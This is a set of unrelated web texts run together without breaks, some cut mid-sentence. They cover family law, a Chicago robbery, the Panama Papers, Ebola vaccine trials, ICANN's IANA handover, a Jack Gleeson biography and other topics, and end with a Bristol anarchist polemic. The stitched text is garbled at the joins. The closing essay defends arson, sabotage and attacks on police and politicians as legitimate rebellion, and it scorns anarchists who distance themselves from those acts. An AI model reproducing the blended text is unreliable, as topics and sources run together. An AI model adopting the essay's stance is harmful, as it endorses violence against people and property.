Danielle Wiley and her wife, Anna Richards, told media outlets that they wanted to get pregnant but didn’t want to have an anonymous donor act as their child’s father.
“We wanted our kids to know where they came from biologically and actually liked the idea of having an extended family,” Richards told Canada's National Post. “It didn’t threaten us to have another person’s involvement so long as it was the right person."
The couple approached Richards' longtime friend, Shawn Kangro, who agreed to not only be their donor but also a father figure to the child.
Before Della was conceived, the three drafted a contract outlining how they wanted their family to work. (According to the Family Law Act, such written contracts must be drawn up before conception.) They agreed that Wiley and Richards would have custody of the child and would be financially responsible for him or her. Kangro would be a legal guardian with rights to access.
After they had hammered out all the finer details, Wiley became pregnant. Speaking to the CBC, she said they used the “homestyle” method of conception.
The Family Law Act is meant to place the safety and needs of a child above all else. For those who wish to conceive via assisted reproduction, the law offers legal means to give the child the best family environment possible.Two teenage boys were taken into custody Friday after they were charged with the attack and robbery of an 80-year-old woman on Chicago's North Side.The boys are 16 and 17 years old. Family members took the boys to Area North Police Headquarters Wednesday, where they were charged with felony counts of robbery and aggravated battery.The woman was walking down the street in the 1400-block of West Altgeld Street in the city's Lincoln Park neighborhood just before 5:20 p.m. Tuesday when police said two young males walked up to her and pushed her to the ground.Unconfirmed reports from witnesses said the suspects had some type of handle or baton in their hands, which was used to knock the woman over. The woman was not seriously injured and did not need to go to the hospital.After yanking her purse off her arm, police said the two suspects fled south into an alley that runs along North Southport Avenue. Officer searched the area, but didn't find them, police said. The purse had cash and personal items inside.LONDON — With political aftershocks still being felt after the leak of the so-called Panama Papers, the European Union’s five biggest economies, including Britain and Germany, have agreed to share information on company ownership to try clamping down on tax evasion.
The deal, announced on Thursday in Washington, on the sidelines of the spring meetings of the International Monetary Fund, followed days of controversy. Disclosures in the Panama Papers led the prime minister of Iceland, Sigmundur David Gunnlaugsson, to temporarily step aside.
They have also embarrassed Britain’s prime minister, David Cameron, whose father’s name appeared among the millions of documents leaked from the Panamanian law firm Mossack Fonseca, describing the use of offshore tax havens by some of the world’s richest and most powerful people.
Another casualty of the leak emerged in Spain, where the minister of industry, energy and tourism, José Manuel Soria, quit on Friday.WHO assessment of experimental Ebola virus vaccines
The World Health Organization held a conference to assess the status of testing and eventual licensing of two candidate Ebola virus vaccines. The agenda and list of participants and the final report are available. I was interested in the following list of key expected milestones:
October 2014:
Mechanisms for evaluating and sharing data in real time must be prepared and agreed upon and the remainder of the phase 1 trials must be started
October–November 2014:
Agreed common protocols (including for phase 2 studies) across different sites must be developed
October–November 2014:
Preparation of sites in affected countries for phase 2 b should start as soon as possible
November–December 2014:
Initial safety data from phase 1 trials will be available
January 2015:
GMP (Good Manufacturing Practices) grade vaccine doses will be available for phase 2 as soon as possible
January–February 2015:
Phase 2 studies to be approved and initiated in affected and non-affected countries (as appropriate)
As soon as possible after data on efficacy become available:
Planning for large-scale vaccination, including systems for vaccine financing, allocation, and use.
I wonder how a phase 2 study will be conducted, the goal of which is to determine if it is effective and further evaluate its safety. Will this be done in west Africa, where protection against Ebola virus infection can be assessed? If so, will there be controls who receive placebo?
If indeed an Ebola virus vaccine is our best hope in limiting the current outbreak, it won’t be distributed for a while, according to the optimistic expectations of WHO – assuming all proceeds on time, and that the results are favorable.Lindsey Simon was always a great guy to chat with at Google. He always had an idea and something cool that he was working on. His latest little tool is fun to play with. It is called CSS Selector Shell and it “is a browser-based tool for testing what CSS becomes in different browsers. It works by taking some raw text, inserting a dynamic STYLE element into the HEAD with that raw text as its content, and then reading the CSSOM to see what the browser has parsed it into. It is written in Javascript.”
The example above is WebKit nightly. When running in Firefox you get very different results. Even for small things like saying: “What will this do?”
< View plain text > css
/* Combined selector. */.class1.class2 { color : blue ; color : orange ; }
and seeing “color: orange;” come out is nice. A very useful little tool Lindsey!By Star Tucker | Guest Blogger
Every morning, the faithfulness of the sun touches our eyelids. Unfortunately, the faithfulness of the alarm clock also reaches our ears. We slowly rise from the pillow, sneak out from under the sheets, and begin the tasks for that day. For most people, there is a passion that gives us the encouragement to live each day. It might be a job, a child, a spouse, a religion.
My passion is being pro-life. It drives and it motivates me. I find joy in being the voice for the unborn every day, even if it’s just in the smallest ways. There was a time in my life when you couldn’t have paid me a million dollars to truthfully and passionately say the statement above. I used to be pro-choice. Pro-choice to my very core and then everything changed…
I had an abortion.
From that moment, my life has never been the same. I instantly realized that I lost something very special to me, my child. I instantly knew that I never wished this pain upon anyone.
I’ll never forget the moment that I realized I was pregnant. I had morning sickness and deep down I knew it wasn’t just a hangover. The positive pregnancy test was just confirmation of my terrifying reality. My college applications were submitted, and I was anxiously awaiting acceptance letters. I worked incredibly hard in community college to get into my dream school, and a positive pregnancy test seemed to rob me of my efforts. The youth director at my church recently gave birth to her first child. When she found out that she was pregnant, she said, “Being a mother is a dream come true. It was everything that I wanted in life, but when I found out that I was pregnant, I’ve never been more scared in my life.” I felt that same fear when I discovered that I was pregnant, but being a single mother wasn’t anything close to my dreams. My fear blinded me from considering other options, but I never knew that this option of getting an abortion would bring so much pain.
The abortion procedure was mildly painful, but emotionally mortal. The voice of the abortionist telling me to relax, the touch of the assistant holding my hand, and the abortion counselor “guiding” me through the process. After the procedure, I went to lunch with the friend that accompanied me then, she took me home. I was lifeless. I remained in the comfort of my bed for the remainder of the day. In that moment, there was no reason to get out of bed. No desire. No motivation. Nothing. I used to get angry when thinking about that day, but, now it’s just a reminder as to why I’m pro-life. If the choice of abortion was truly the best choice for me, then why did everything feel so wrong?
My abortion became my deep dark secret. Carrying the burden certainly wasn’t easy. I felt as though I had a sickness and if I were to say, “I’m sick and I need to be healed,” then I’d quickly be reinforced that I made the right choice. My moral intuition and the emptiness in my heart told me that my decision was wrong.
I continued to suppress the hurt. Rather than seeking a “doctor,” I used vices of this world to sooth the great pain. At that time, I couldn’t label myself as pro-life even though I wanted to. Wouldn’t that just make me a hypocrite? After all, the difference between pro-life and prochoice was like butter and margarine. Was there really that big of a difference? The label didn’t necessarily matter to me, but I knew that I would never support a friend in getting an abortion. I can recall times when friends would joke about abortion. Saying if they ever found themselves pregnant they would have an abortion, and inside I’d say, “I’d never let you do that!” It wasn’t a joking matter for me. How could it be? It was the biggest mistake I have ever made.
I struggled to make the connection from my head to my heart as to why my abortion was wrong. The turning point for me was seeing an ultrasound of my niece. The image was projected on the wall, and I watched her dance in the womb as soft music played. As the ultrasound focused on her heart, the music was replaced with the sound of her healthy heartbeat. My world stopped. The sound of her heartbeat was the loudest thing I’ve ever heard. I cried in sorrow and regret. It was at that moment that I understood that life in the womb is, in fact, life!
I eventually met “a doctor” to heal my pain. I had no desire to meet him. It happened more by accident. I casually heard his name a few times, and quite frankly, I didn’t like him. He seemed bossy, but he does have great birthday celebrations! His name, Jesus Christ. I unexpectedly fell in love with Him at the altar. My abortion made me pro-life, and the love of Christ has healed me.
For so many years, I shamed myself for the mistakes. I viewed myself as unworthy and undeserving, and everything in my life showed that I was constantly settling for less. Although my sin was large, Jesus was still longing for me. He desired me and patiently waited for me so that He could comfort me. He has poured tremendous amounts of grace and mercy into my life. Although the journey has been difficult, I have opened myself up to Him and allowed Him to work within my life, and make me the woman that He has created me to be. A woman made in His image and likeness.
God has been so faithful in this healing process. An underserved gift is the community of women I have met that are also healing from their abortions. I often reflect on the fact that I’ve never heard a mother say, “I wish I had an abortion.” Nut I know countless women that have said, “I regret my abortion.” Unfortunately, I’m not the only woman that has been hurt by abortion.
Throughout this journey, I have heard every justification for my abortion and it’s insulting. “It’s your body, your choice.” No, it was the body of my child. “I would’ve done the same thing if I were in your shoes.” Thanks, you just took the knife and twisted it. “You weren’t ready to be a mother.” Who are you to determine if I’m capable of handling motherhood? “You have reproductive rights.” So did my child. “It’s not a life.” Yes, it is. What I’m getting at is that there is not a justification for abortion. Tim Scheidler, a great friend said, “It’s not the little babies that we need to worry about. They are happy in heaven. It’s the mommas’ that we need to worry about.” When you meet a woman who is hurting from her abortion, do not feed her an ignorant justification. Comfort her, and love her. She is mourning the loss of her child.
Abby Johnson, pro-life advocate and former Planned Parenthood director, said, “Telling a woman that abortion is the “empowering” response to a crisis pregnancy is really telling her that she is not strong enough to handle motherhood. What a terrible and unrealistic way to view women.” I might have been strong enough to handle motherhood. I certainly wasn’t strong enough to handle the abortion.
In January, I attended March for Life in Washington, D.C. It was a blessing to take part of this courageous, chilling, and powerful event. Considering my past, I never imagined that I’d be in a crowd of 10,000 people praying for an end to abortion. March for Life is more than an annual event in Washington, D.C. It is my life. It’s the reason why I wake up every morning. All for God’s glory, I will continue to march every day of my life to bring truth to the harms of abortion and prevent women from repeating my biggest mistake. I want to be the voice that I didn’t hear, the voice that says, “I know that you’re scared, and I promise that there is a better option.” I will continue to share the truth of life in the womb. By God’s grace, I will be an example to all women and men (yes, men too) who are suffering an abortion that healing is part of God’s plan.
Photo: The woman in the picture is my best friend, my little sister. She found herself in an unplanned pregnancy while completing her junior year of college. Although the timing was not ideal for her, she carried out her pregnancy while earning a 4.0 GPA. She gave birth two weeks ago to a beautiful and healthy baby girl.
P.S. You are enough.Garage Punk Stomp Fun – Meet, Thee MVPs
Let’s just start this by stating the obvious. ANYTIME a Band uses’ “Thee” in their name, they have my attention. It’s such a great history of garage and garage punk that you can not ignore. And I’m glad to say that Thee MVPs were perfectly right in putting “Thee” in front of MVPs. Living up to the standards set by a true genius (Billy Childish) is not an easy feat, yet Thee MVPs manage to pull it all off, sounding authentic and ever bit as fun. That in itself is impressive enough for me. Pure exhilarating guitar driven garage rock sung with conviction and all done with a backbeat that keeps you glued in. As we head towards the weekend, have some fun, give a listen to Thee MVPs…. LOVE IT ALL….
Hi our name is….
Thee MVPs, but people keep spelling that wrong somehow?
People say we sound like…..
We have been compared to the Hives, Parquet Courts, Billy Childish’s associated acts and that California sound of Thee Oh Sees or Ty Segall
We are….
Charlie Wyatt and Alex Ives on guitars
Dan Bishop on Bass
Jack Shelefsky on Drums
We all sing
We are from……
We’re currently split between three towns due to high rent prices, no job prospects and final years of Higher Education, our current locations are in Gravesend, Norwich, Deptford and Hackney.
Who are some that have an influence on you
We listen to a lot of hip hop more than anything when we’re all together, the band |
SEC's watchdog body have said the defence minister and the spy agency are interpreting these last-resort powers in a way that the law does not support.
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The issue revolves around how to define intelligence targets. After the Anti-Terrorism Act passed, intelligence officials often explained that a CSEC analyst could be allowed to listen in on what was said if Osama bin Laden called a Canadian – whereas before the analyst would have risked jail for failing to hang up.
Yet the watchdog agency has long expressed fears the power has never been interpreted as discriminatingly as that example would indicate.
Details are classified. But the distinction may amount to the difference between the minister telling CSEC to go after "Osama bin Laden" – and telling it to go after "terrorists." The specific language would reduce or increase the number of Canadian phone conversations or e-mails that CSEC could catch collaterally.
The spy agency's leadership – which points out that it has never been found to have acted unlawfully – has said the numbers of private communications captured in this way are "small," or "very small." But the watchdog judges have not been reassured. For years they have said the law doesn't square with CSEC's expansive reading of it – yet the watchdog is prepared to adopt it as an "interim" measure, until Parliament fixes the problem.
Former Supreme Court justice Charles Gonthier highlighted the issue when he served as the watchdog in the late 2000s. "CSEC and my office are still on opposite pages," he wrote in 2008, before adding that his spirits were buoyed by "pending legislation." Two years later, he wrote that he had been "informed by the Minister of National Defence [Mr. MacKay] that clarification of ambiguities … are a legislative priority."
Unlike allied agencies in the United States and United Kingdom, CSEC is never directly scrutinized by sitting judges or legislators – the people who have the power to interpret, craft and enforce laws in binding ways.
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Instead, the only direct check on CSEC is the watchdog commissioner, the top court justice who finds himself heading an advisory body sitting firmly within the executive branches of government.
"For jurists who are accustomed to dealing with warrants issued by judges, a foreign intelligence MA [ministerial authorization] is a strange sort of creature," retired Supreme Court chief justice Antonio Lamer wrote in an annual report.
Serving as CSEC Commissioner in the mid-2000s, he said that his one regret when he retired was not solving "the legal interpretation issues that have bedevilled this office since December 2001" – the date the Anti-Terrorism Act passed.The most significant change in the internet's functioning for a generation happened on 30 September at midnight.
At 12.01am Washington DC time, the US government walked away from the IANA contract, which has defined how the internet has grown and been structured for nearly 20 years, and hand it over to non-profit organization ICANN.
Nothing will change for ordinary internet users – ICANN will keep doing what it has done since its inception in 1999 – but the shift represents something much bigger: the first time that a new communications technology has been released from, rather than pulled under, government control.
With the transition to ICANN, it will be the internet's users and not their countries' representatives who will ultimately decide how the global network develops from here on in.
Having initially promised to release control of the internet's names, numbers and protocols to ICANN within a few months of it signing the first IANA contract, it wasn't until March of 2014 that the US government decided to move ahead with the plan.
Several times previously ICANN had asked to be given the contract, but the US government refused: its position was a useful point of leverage that meant officials always had a hotline to the organization's leaders and which, on occasion, they used to force ICANN to reconsider bad decisions.
When in 2002 the United Nations came knocking and looked at redrawing the entire way the internet was governed, the US government made control of the IANA contract and a defense of ICANN as its contractor the cornerstone of its negotiations.
After years of negotiations that ended literally just hours before heads of state opened a World Summit, the status quo held.
Nope
Despite that, when ICANN made it clear in 2006 that it was going to seek control of the contract as part of a redrawing of its agreement with the US Department of Commerce, government officials made it equally clear that the contract was not on the table.
Then in 2012, a majority of governments decided to sign an agreement that gave the UN's International Telecommunications Union (ITU) greater say over the internet's evolution. The United States literally walked out of the meeting, followed by its Western allies.
The internet had become critical infrastructure for most governments, and tolerance for the United States' pre-eminent role was growing thin. But it wasn't until Edward Snowden revealed the depth of US government surveillance online that the ground finally shifted.
Within just a few months, US government officials announced that they were willing to let go of the contract and asked ICANN to run a consultation process to decide what to do with it. That process took over two years and resulted in a series of messy compromises.
ICANN, unsurprisingly, decided it should take over the contract. A process was put in place to pull it out of the organization should anything go drastically wrong in future – but was so weighed down that it will almost certainly never happen.
ICANN also fought and largely succeeded in preventing the internet community from introducing far-reaching changes to the organization that would make it more accountable, settling instead for a series of last-resort measures that could see the board fired or the budget halted.
But even after that whole process, the transition then faced determined efforts by some members of Congress – notably Texas senator Ted Cruz – who claimed the shift represented a handing over of the internet to the influence of foreign governments and a step away from the First Amendment.
When those efforts failed, four states' attorneys general made a last ditch effort to delay it, filing a lawsuit and asking for a temporary restraining order. Finally, just hours before the switch was due to happen, a judge in Galveston, Texas denied the motion and removed the final obstacle to what is an historic moment in the history of the internet. ®You would think that it being called the Google Play Store, they would specifically offer only Google products, like say – the Nexus Player. But stranger things have happened, and right now we’re seeing Razer’s very own android TV gaming console being sold at the Play Store, even if it (kinda) competes with Google’s own (ASUS-made) Nexus Player.
The Razer Forge TV bundle that is available at the Google Play Store for USD$149.00 is actually two products – first the Razer Forge TV console set-top box, and Razer’s serval game controller. You can actually buy the items separately, but they appear as a bundle at the Play Store.
The Forge TV is basically an Android TV box and casual gaming console – powered by a quad-core Qualcomm Snapdragon 805 processor, 2GB of that speedy LPDDR3 RAM, and 16GB of internal storage. With that, you get Razer’s serval gaming controller which can be used not only with the Forge TV, but also as game pad for your mobile device gaming.
If you want another controller, the Play Store also sells that at USD$79.00. The Forge TV box is available elsewhere without a controller for USD$99.00, so as you can see, the Play Store deal does save you at least USD$30.00 on the purchase.
SOURCE: Google Play StoreJack Gleeson (born 20 May 1992)[1] is an Irish actor, who won critical acclaim playing Joffrey Baratheon in the HBO television series Game of Thrones (2011–2014). Gleeson has not acted in TV or film since this role.
He currently runs his own touring theatre company, whose debut puppet show—Bears in Space—premiered in Edinburgh Festival Fringe, in Edinburgh, Scotland in 2014.[2]
Early life [ edit ]
Gleeson was born in Cork, Ireland and attended Gonzaga College for his secondary education. He attended drama classes when young, with his sisters Rachel and Emma who are also actresses in Ireland.
Gleeson is a student of Trinity College, Dublin, studying philosophy and theology[3] and he is also a member of DU Players. In 2012, he was elected a scholar at the same university.[4][5]
Career [ edit ]
Gleeson began acting at the age of seven in the Independent Theatre Workshop.[6] His first roles were in films such as Reign of Fire in 2002, Batman Begins in 2005, Shrooms in 2007, and A Shine of Rainbows in 2009.[7] In 2010, he appeared in a leading role in All Good Children. The reviewer for Variety magazine considered Gleeson "the pic's big discovery".[8]
Gleeson starred as Joffrey Baratheon in the HBO series Game of Thrones.[9] He cites Joaquin Phoenix's portrayal of Commodus in Gladiator as an influence on his performance.[10] He is a founder and artistic director of Collapsing Horse Theatre Company, which is based in Dublin.
In 2012, Gleeson indicated an intention to retire from acting to pursue an academic career once his work on Game of Thrones was finished.[3] In 2014, Gleeson retired from acting after concluding his work in Game of Thrones. In an interview, he stated that while he had previously been interested in pursuing academia, he had since 'gone off that idea'.[11]
In 2015, Gleeson starred in the puppetry shows Bears in Space created by his theatre company Collapsing Horse and in mid-2016 the show premiered in New York.[12]
Filmography [ edit ]
Film [ edit ]
Year Title Role Notes 2002 Reign of Fire Kid Uncredited Moving Day Jack Short film 2003 Fishtale Boy with the Fish 2004 Tom Waits Made Me Cry Young Vincent 2005 Batman Begins Little Boy 2007 Shrooms Lonely Twin 2009 A Shine of Rainbows Seamus 2010 All Good Children Dara
Television [ edit ]Last week I flew out to San Francisco and met with a number of Bitcoin Cash enthusiasts. Every single one of them was incredibly smart with incredible ideas. Many of them have said some things that have made me think quite a lot about crypto and its current state of affairs.
Notably one opinion that more and more people seem to share is that perhaps we should stop calling other cryptocurrencies "altcoins". I admit that it was probably fair terminology when cryptos first started coming around, but now there are several of them with multi-billion dollar market caps. They've certainly earned their place as full-fledged cryptos, even if not all of them should really be labelled as "currencies".
Expanding on that last statement, it's clear that "currency" isn't really the right definition for many cryptos these days. Ethereum, for example, doesn't really seem like a great currency. On the other hand, it's amazing for decentralized applications running on the blockchain. Different use-case than, say, Bitcoin Cash, which is a great currency.A network of individuals, independent and alternative media activists and organisations, offering grassroots, non-corporate, non-commercial coverage of important social and political issues.
Dining With Vultures: Bristol Anarchists & the UK Media The purpose of this piece is to better understanding of mass media's relationship to rebels (including anarchists of all stripes), in general as well as in the context of a repressive atmosphere in Bristol. As well as raising local specifics, it hopes to encourage stronger awareness around wider issues of representation and counter-insurgency.
Specifically, it's the matter of giving friendly interviews to journalists. This has been going on for little under a year now in relation to the escalated series of high-profile destructive actions that have been claimed by some anarchist groups, and the police targeting of the public anarchist/activist space locally over the last four years. (Some detail of those events up until autumn 2014 are compiled in the booklet Since The Bristol Riots, freely available to read online, for anyone unfamiliar. Since this New Year's Eve, Emma Sheppard has been held in custody and at the end of February was sentenced to two years (claiming not to be an anarchist in her legal defense but has since written from prison to describe herself differently) for being caught spiking an access road to the South Gloucestershire police headquarters and damaging three squad cars – all other attacks in the Bristol region remain 'unsolved'.)
So far the interviews have included newspaper, radio, television and an online magazine. In some cases the press were even welcomed into the Kebele social centre to stage their manipulation on the activists' home turf. At no point have action groups themselves had any dialogue with the press, as seems consistent with their conflictual practices and antagonism to mass media representation – newspaper, radio, TV and internet outlets have in fact been their previous targets among others.
After all, what is the mass media?
It could be said that a large part of 'the anarchist tension' for many is a desire to communicate (whether on a mass scale or not). Right. But the mass media is not a forum for communication. It is a filter through which a section of the ruling class claim near-total representation of how they would like'reality' to seem. (Note that this is completely aside from the finer details of which company owns which media outlet.) Fredy Perlman once wrote; “The person who specializes in informing others about the “news” is a usurper. The newspaper establishes a reality which is common to all but alien to each, a reality expressed by all which is the self-expression of none. By letting “the news” be defined for us, we allow our definition of reality to be imposed on us from outside ourselves and we lose our ability to define, express or project ourselves; we lose precisely those faculties that makes us communicative and communal animals, the faculties that make us human beings.” (And, elsewhere; “If communication has the same root as common and community, the radio is an instrument for uprooting all three.”)
One-sided broadcasts sounding out across a sea of passive consumers, reduced to receptacles for mere 'information' – this is the very opposite of potential communication between likes. To be exact, 'communication' would be overcoming this spectacle, engaging in person with all the complexities and nuances of interaction which cannot be captures by the screen, as multi-dimensional individuals ridding themselves of images, soundbytes and headlines (or social media profiles) to regain their own sociality. It is here that real dialogue can begin.
This is exactly why, even in the best-case scenario, on the level of sheer pragmatism, the mass media cannot be made to serve liberatory purposes. It works by systematically removing events, ideas or proposals from their context, to then re-package and re-serve them as fragments so we can consume them while never actually living them. What sense can critiques with the depth of anarchist ones make when presented as a 60-second jumble sandwiched between ten others in contradiction, how can anything meaningful take root in an environment dedicated to keeping everything restricted to surface level only?
To summarise, the mass media causes relationships among people to be mediated by images. It encourages people to eat up pre-fabricated 'opinions' to then espouse to each other, making it a very direct weapon for establishing the consensus desired by the powerful. As such it invites destruction; it's either its own or ours. Anyone who believes mass media to be a tool they can control by participating is either mis-informed or manipulative. Surely we can all think of examples in our daily life of how the media itself defines the limits of the debate; in the case this article will explore, one of 'good anarchists' versus 'bad anarchists'.
Let's look at the televised interview that members of Bristol's branch of the UK Anarchist Federation (Bristol AFed from now on), presumably with the approval or at least consent of the rest of the branch, conducted with Channel 4 for their recent documentary Who Are Bristol's Anarchist Arsonists?. In the words of Bristol AFed, they approached the invitation feeling “optimistic about the chances of some good coverage after a relatively successful summer interview with BBC Radio Bristol” and the “shout-out” they bizarrely talk of receiving in the Guardian newspaper (who in fact had simply listed Bristol AFed in passing as one signatory to a joint statement about repression). Whether this maneuver was cynically opportunistic or just hopelessly naïve can be left to individual interpretation.
Predictably, the program editors distilled their 45-minute conversation with the Bristol AFed delegation into a cozy soundbyte where one of their representatives condemns the aspect in question of an incendiary attack the month earlier by an informal affinity group against private security, techno-industrial firm and luxury vehicles. The local paper could then comfortably carry the headline as “Bristol anarchist group distances itself from attack” and by extension also from the over-100 other attacks currently being linked and investigated by a dedicated police team. Incidentally, both the program and the article served to re-broadcast a police 'wanted' notice and photograph.
Now, it's clear that there are not and have never been harmonious relations between all anarchists. The dream of some revolutionary 'community for everyone' (“unity”, as Bristol AFed would say, who in the past have stretched the concept to include such avowed anti-anarchists as the Socialist Workers Party) is just that, a dream, a fiction, because it would need the debasement of the peculiarities that are inherent in any meaningful community of likes. Preferable to some instead are more autonomous workings of separate groups held together by preference and affinity (in both tactics and goals), capable of maybe moving together but not homogeneous, away from mass organisation and political rackets. Naturally many disagreements about the desires means and even overall perception of struggle emerge; this is not what is in question here. The question is the responsibility of any minimally anti-authoritarian project worthy of the name to be conscious of being turned into a political and repressive tool; if not for the sake of the differing rebels then for their own integrity at base and relevance as any kind of rebellious force in the social surroundings. And so as the police make raids, hassle many and circulate 'wanted' notices, faithfully echoed in the national press, baying for blood, Bristol AFed meekly present themselves to show that theirs is a better way...
After the program aired, Bristol AFed promptly put up a post on their blog, veering between claiming their promotion of “Anarchism” as a triumph (which would amuse anyone who saw the final cut – was their “relative success” on the BBC also of a similar calibre?) and decrying that, as they confessed with apparent surprise, “there wasn't much focus on the political policing and harassment of activists”... None, in fact. The question must be asked, in case it eluded Bristol AFed in their preparations – exactly what did these anarchists expect Channel 4 to make out of them if not tools, means to an end? If they honestly believed that reactionary journalists had developed an intense desire to accurately portray AFed's own brand of anarchist-communism, coincidentally right in the middle of media furore over anarchist-insurrectionary activity, more fool them. Were they genuinely shocked to have to admit that “sadly we didn't get as much on air time as DCI Andy Bevan”, the head of the police operation, as if this were simply a tragic oversight on behalf of the broadcasters?
A cursory glance back over the years at previous reporting on anarchist direct actions carried by the very same media entities that Bristol activists are now collaborating with shows that, as one would expect, the press repeatedly fabricates and/or misrepresents details of the attacks and their communiques. (Although this is assuming that Bristol AFed actually read the communiques before pleading ignorance to their motives and distancing themselves from them.) For example, it is not only luxury vehicles that were torched in Long Ashton. It is not only to protest the World Cup opening in Brazil that transmission infrastructures were sabotaged last June, nor only to protest the London Olympics that rail traffic was disrupted. It is not an Informal Anarchist Federation group who were the anarchists to claim the destruction of the police firearms centre. It is not a mystery why the Lord Mayor of Bristol and a second Conservative Party councillor awoke to flames before their homes. And so on. But this is precisely the entirely anticipated media strategy towards this and also any other form of subversion: what isn't invisibilised is reframed, and what isn't ridiculed is demonized.
It's worth repeating that this is no aberration: leaving aside the mass media's obvious disdain for both anti-capitalist'mass organising' a la AFed and offensive strikes by informal groups, falsification is both the form and the content of the press in operation. Every representation is necessarily a reduction at best, and more likely an outright distortion. Such a basis analysis seems painfully lacking in Bristol AFed's conduct. (Perhaps this is partly explainable by the fact that for AFed, representation appears compatible with “Anarchism” and comprises their formal model of federalism and delegation; however the consequences of their flirtations with organs of contemporary spectacular society are wider-reaching than obscure anarchist congresses.) Considering this pattern, did they expect clouds of (willful) ignorance as regards their project to part before the reporter's eyes when they found someone they could converse with, politely, civilly, in a language they could both understand? Instead the arrogant newsman played the anarchists like a fiddle, extracted the statement they'd come for like a sore tooth, snipped away the excess and went on their way.
Last year, a collection of south west UK activist projects and musicians released a text about the rising repression, which at the time Bristol AFed saw fit to add their name to. It included the following; “These home visits, searches and requests to snitch are not just about information and evidence gathering. They have as much to do with a concerted effort to intimidate and divide us all.” It continues; “None of us will ever co-operate with those whose job it is, all in the name of “security” and “safety”, to defend the rich and powerful while keeping us down.” In what way is the capitalist media not an apparatus the job of which is precisely to defend the rich and powerful (such as themselves) while keeping us down, intimidating the population and dividing the radicals?
The most insightful words in the documentary came not from Bristol AFed but from the reporter, when he asserted that in a democratic society the freedom to “play with ideas” is an important attribute (by way of trivializing Bristol AFed's ideas, evidently). And that's exactly the insidious nature of democracy and its media: all kinds of ideas, stories and even objections are allowed so long as they remain at the sterile level of 'opinion', toothless and pacified. That's part of what makes democracy more resilient and able to re-absorb dissent compared to classically dictatorial regimes, and thus a more efficient totalitarianism. It need only be a scant few seconds (as was Bristol AFed's 'victorious' definition of “what Anarchism is”) to be enough for the illusion of fairness, of equal participation, 'both sides of the story'.
But the police operation that the activists in Bristol are feeling (above the routine surveillance and infiltration typical in Britain) is not the result of their so-called “alternative ideas”, but because some rebels put their own insurrectionary ideas to the test by action. The projected social peace was threatened, materially. And faced with this, it's immensely useful for the system to be able to hold up a counter-part that offers a more agreeable course. In this scenario, whether Bristol AFed approached the interview actively intending to play along in order to gain political capital or not is irrelevant. If not then they seriously over-estimated their readiness for an improbable task – to control the narrative on the screen. It positively lends 'legitimacy' to the program, with all its calls for repression, to have anarchists participate in this democratic spectacle. This is classic divide-and-rule counter-insurgency, with caricatures of the irrational extremists on the one hand and harmless dreamers on the other, aiding and promoting the State's repressive task. And it's even more in the State's interest to foment this atmosphere when it seems to be so far clueless as to apprehending the action groups.
It wouldn't be the first time that Bristol AFed have contributed to this game, with the stakes equally as high. If you look at their statements, the language they use to reference the actual attacks (while quick to crow about their own “resistance”) is straight from the lawbooks: “vandalism”, or “some broken windows”, “a recent arson”, as events presumably without any radical intent and certainly nothing to do with anarchy. Once again, no-one but an idiot or an ideologue expects everyone to agree on that forms of rebellion or agitation are desirable for themselves. But while AFed's 'organising' approach is recognisably an anarchist project (even if one alien to some other anarchists), the same is not extended by them to the more autonomous “criminality”.
To expand on this mentality, it's been informative to see these anarchists' response to a December wave of raids and arrests in the Spanish State, dubbed Operation Pandora. Bristol AFed were quick to assert that the seven comrades imprisoned (and since bailed) were “accused not of committing crimes but of being active anarchists and of spreading ideas and information”. While it's great to see that they announced support for (some) antagonist prisoners, a few facts stand between this statement and what we know of the case. To quote some of the arrestees themselves, the actual charges include “destruction”, “possession of explosive and incendiary devices”, and apparently relate to around nine specific actions carried out in the Catalan province against banks, courthouses, political offices and more. Namely, “crimes”, to hear some speak. Yet Bristol AFed throw up the shield of 'innocence' (quite uninvited, as anarchists in solidarity in Barcelona have gone to lengths to emphasise that this is not their frame of reference when someone is arrested). For this, the actions themselves were disappeared and with them the contributions at great risk of their authors – and whether those people are among the arrested or not should only interest judges and prosecutors. It cheapens solidarity to hinge it around the State's categories of 'innocence' and 'guilt', 'criminal' and 'legal'.
Another example could be the anarchists and socialists who were convicted for a string of direct attacks (on financial, diplomatic, military, prison and bureaucratic targets) in Belarus some years ago now. They denied responsibility, and the anarchists responsible released a statement confirming this and have since continued their actions. The case has received attention from mainstream human rights NGOs (unthinkable were they not 'innocent'), tut-tutting that Belarus is the last in Europe to not move from dictatorship to democracy; and one could find some Western anarchist voices in unison. Theirs is the only other case that Bristol AFed (or for that matter other UK formal anarchist organisations) have responded to – while scores of comrades in Europe and the world are held prisoner by democracies, either accused or sentenced for strikingly similar attacks; quite a few of whom took responsibility for the actions in question and many more who refuse the 'guilt-innocence' dichotomy. It is very hard to see Bristol AFed's support (even in gesture) as anything but contingent on 'innocence', 'injustice', 'victimhood' etc.
By stretch of the imagination, let's conceive that Bristol AFed going on TV simply wanted to provoke a tactical discussion among rebels (which should always be welcome), if through extremely indirect means, rather than imprint their own ideology at the expense of those unwilling to play the media's game. Very well, let's imagine one response.
Having toned down from the “terrorism” accusation levelled against insurrectionaries by the wider UK Anarchist Federation following two attacks on a nuclear energy executive and national tax agency director in Italy, in their post-interview blog post Bristol AFed generously concede that “routine daily violence of capitalism and the state is infinitely worse than any act of criminal damage”. This seems like retrospective justification for their screened answer, as they simultaneously complain about “the journalist's attempts to pin us down on the subject” (and in what way did he fail?), perhaps cryptically recognising what the session was always going to have been about. Surely if they didn't want to be drawn into a comparison with the 'bad' insurrectionaries, non-participation was the only option? Yet the anarchists walked star-struck into the spectacle's honey-trap.
When pressed as to whether attacks on, for instance, the police were even hypothetically “legitimate”, they replied: “It is hard to describe it as legitimate or illegitimate... It would depend really on circumstances.” Of course, what circumstances they would really depend on are fleshed out elsewhere in the interview: in “a period of mass uprising where people were taking control of their communities and workplaces” (really, all that without anyone having first raised a hand in anger or faced in cops?), then one may rise up. If you, dear reader, who feels this existence fraught with alienation and dominance to the unbearable any longer, maybe were even taking in by the images posted by Bristol AFed of cartoon molotov cocktails, “toast the rich”, “fire to the bosses”... then stay your “illegitimate” attack! As these anarchists will kindly explain, when rebels actually fire on the bosses before the whistle formally blows (like happened in Italy and not only), one must run a mile to clear themselves of association. But who will these future masses who will rise up consist of, exactly? Why, individuals just like ourselves of course! And how would we hold our own against a militarised elite and their loyal guards, without having even attempted to develop our force beforehand, without learning to kick out the recuperators when they come with their membership lists or their camera crews? Comrade, when The Revolution begins in earnest then all that will fall into place – meanwhile, enlist in the official organisations wherein the class struggle is contained (in more ways that one...)...
